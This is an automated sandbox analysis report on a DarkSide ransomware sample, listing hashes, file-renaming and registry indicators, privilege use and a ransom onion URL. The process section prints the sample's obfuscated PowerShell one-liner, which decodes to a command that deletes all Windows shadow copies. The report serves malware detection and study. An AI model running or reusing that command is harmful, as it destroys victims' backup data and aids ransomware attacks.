Analysis
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max time kernel
126s -
max time network
135s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
26-07-2021 12:57
Static task
static1
Behavioral task
behavioral1
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe
Resource
win10v20210408
General
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Target
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe
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Size
59KB
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MD5
0ed51a595631e9b4d60896ab5573332f
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SHA1
7ae73b5e1622049380c9b615ce3b7f636665584b
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SHA256
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
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SHA512
9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
Malware Config
Extracted
C:\\README.21b2020d.TXT
darkside
http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 12 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\ShowStep.tif => C:\Users\Admin\Pictures\ShowStep.tif.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File renamed C:\Users\Admin\Pictures\TestRestore.tif => C:\Users\Admin\Pictures\TestRestore.tif.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File renamed C:\Users\Admin\Pictures\ConvertFromStop.raw => C:\Users\Admin\Pictures\ConvertFromStop.raw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File opened for modification C:\Users\Admin\Pictures\ConvertFromStop.raw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File renamed C:\Users\Admin\Pictures\DenyRevoke.crw => C:\Users\Admin\Pictures\DenyRevoke.crw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File renamed C:\Users\Admin\Pictures\ExportWrite.crw => C:\Users\Admin\Pictures\ExportWrite.crw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File opened for modification C:\Users\Admin\Pictures\ExportWrite.crw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File opened for modification C:\Users\Admin\Pictures\RenameUse.crw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File opened for modification C:\Users\Admin\Pictures\TestRestore.tif.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File opened for modification C:\Users\Admin\Pictures\DenyRevoke.crw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File renamed C:\Users\Admin\Pictures\RenameUse.crw => C:\Users\Admin\Pictures\RenameUse.crw.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe File opened for modification C:\Users\Admin\Pictures\ShowStep.tif.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe -
Modifies Control Panel 1 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe -
Modifies registry class 5 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d" 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exe243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exepid process 3176 powershell.exe 3176 powershell.exe 3176 powershell.exe 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeSecurityPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeTakeOwnershipPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeLoadDriverPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeSystemProfilePrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeSystemtimePrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeProfSingleProcessPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeIncBasePriorityPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeCreatePagefilePrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeBackupPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeRestorePrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeShutdownPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeDebugPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeSystemEnvironmentPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeRemoteShutdownPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeUndockPrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeManageVolumePrivilege 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: 33 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: 34 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: 35 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: 36 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe Token: SeDebugPrivilege 3176 powershell.exe Token: SeBackupPrivilege 744 vssvc.exe Token: SeRestorePrivilege 744 vssvc.exe Token: SeAuditPrivilege 744 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exedescription pid process target process PID 636 wrote to memory of 3176 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe powershell.exe PID 636 wrote to memory of 3176 636 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe"C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.sample.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
5e88ce17f7e5bd3e60f4b886b1a6c7d0
SHA1e6a4235c9c3573fd56c370196f8d4674b0150ec3
SHA256c4ee85d9ddb55c3e4afe99693b2349c8e2329d4b0fad35340b784b36547e8212
SHA5120bda3a35c1dcccc0ebf6e2c1b5da5f78d6d6f632ceb47d87e8ec08344a6251a18ad5a881b5b04f0a60d7d94f4279b2f7ea5f848eddc7a0b770a4d6ef1e493401
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memory/3176-114-0x0000000000000000-mapping.dmp
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memory/3176-120-0x000001C81A420000-0x000001C81A421000-memory.dmpFilesize
4KB
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memory/3176-125-0x000001C81A5D0000-0x000001C81A5D1000-memory.dmpFilesize
4KB
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memory/3176-126-0x000001C818410000-0x000001C818412000-memory.dmpFilesize
8KB
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memory/3176-127-0x000001C818413000-0x000001C818415000-memory.dmpFilesize
8KB
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memory/3176-136-0x000001C818416000-0x000001C818418000-memory.dmpFilesize
8KB